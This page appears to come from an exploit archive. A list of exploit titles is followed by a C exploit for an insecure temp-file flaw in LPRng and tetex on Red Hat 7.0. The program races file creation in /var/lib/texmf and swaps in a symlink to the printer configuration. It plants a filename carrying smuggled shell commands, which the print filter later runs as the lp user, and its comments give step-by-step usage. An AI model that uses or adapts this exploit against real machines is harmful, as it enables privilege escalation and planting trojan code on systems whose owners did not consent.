
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
97 lines
No EOL
3.2 KiB
C
97 lines
No EOL
3.2 KiB
C
/*
|
|
source: https://www.securityfocus.com/bid/2865/info
|
|
|
|
The LPRng software is an enhanced, extended, and portable implementation of the Berkeley LPR print spooler functionality.
|
|
|
|
When the LPRng daemon is initialized, it fails to drop its supplementary groups. As a result, the daemon and any child processes it spawns will maintain the supplementary groups inherited from the process that started LPRng.
|
|
|
|
Processes or routines which are meant to be run with lowered privileges will run with these supplementary group privileges. Vulnerable sections of program code are often run with lowered privileges because of susceptibility to attacks. Because they are not dropped, these privileges may be gained by an attacker if LPRng is vulnerable to such attacks.
|
|
*/
|
|
|
|
/********************************************************************
|
|
Redhat 7.0 (mebe 7.1 ?)
|
|
|
|
LPRng-3.7.4-23 (and earlier) + tetex-1.0.7-7 (and earlier?)
|
|
|
|
Insecure tmp file privilege elevation vulnerability.
|
|
|
|
Allows uid/gid lp and root groups on LPRng-3.6.24 and earlier
|
|
Please note:
|
|
|
|
-rwxr-xr-x 1 lp lp 444472 Jun 14 22:05 /usr/bin/lpq*
|
|
-rwxr-xr-x 1 lp lp 441624 Jun 14 22:05 /usr/bin/lprm*
|
|
-rwxr-xr-x 1 lp lp 459160 Jun 14 22:05 /usr/bin/lpr*
|
|
-rwxr-xr-x 1 lp lp 448120 Jun 14 22:05 /usr/bin/lpstat*
|
|
-rwxr-xr-x 1 lp lp 448320 Jun 14 22:05 /usr/sbin/lpc*
|
|
|
|
this program allows trojan code to be planted on the machine it is
|
|
executed on.
|
|
|
|
tmp file handling done badly in helper application (dvi print filter)
|
|
allows modification to lp config files.
|
|
the configuation file is sourced by the master print filter,
|
|
which is itself a shell script, each time something is printed.
|
|
this makes it possible to insert commands into the configuration file
|
|
by creating a special filename to be included in the file that
|
|
is created. (see the close(open(" thingee )
|
|
|
|
|
|
Redhat Bugzilla reference:-
|
|
|
|
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=43342
|
|
|
|
--zen-parse
|
|
|
|
requires some fonts get made when its run.
|
|
probably won't be a problem unless someone
|
|
else has tried this exploit.
|
|
just wait 90 days for /var/lib/texmf to clear
|
|
and try again ;]
|
|
or try print something different
|
|
.dvi files are what does the trick.
|
|
|
|
********************************************************************/
|
|
|
|
int shake()
|
|
{
|
|
int f;
|
|
char r[1000];
|
|
int w;
|
|
f=fopen("/proc/loadavg","r");
|
|
fscanf(f,"%*s %*s %*s %*s %s",r);
|
|
fclose(f);
|
|
w=atoi(r);
|
|
return w;
|
|
}
|
|
void cow(char *s,char *t,int ofs)
|
|
{
|
|
sprintf(s,"/var/lib/texmf/lsR%d.tmp",ofs);
|
|
sprintf(t,"%s/lsR%d.tmp",s,ofs);
|
|
}
|
|
|
|
main()
|
|
{
|
|
char s[1000];
|
|
char t[1000];
|
|
int y,i;
|
|
printf("Put the stuff to run as lp:lp in /tmp/hax\n");
|
|
printf("the lpr /usr/share/aspe<tab>/manual.dvi\n");
|
|
printf("when the ! comes up, wait a second, then press control-C.\n\n");
|
|
printf("Then print something.\n\n\n");
|
|
close(open("/var/lib/texmf/cd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd ..\ncd tmp\nexport PATH=.\nhax\nexit 0",65,0666));
|
|
while(1)
|
|
{
|
|
i=shake();
|
|
for(y=-30;y<0;y++)
|
|
{
|
|
cow(s,t,y+i);
|
|
if(!access(t,0))
|
|
{
|
|
printf("!\n");
|
|
unlink(t);
|
|
symlink("/var/spool/lpd/lp/postscript.cfg",t);
|
|
sleep(1);
|
|
}
|
|
}
|
|
}
|
|
} |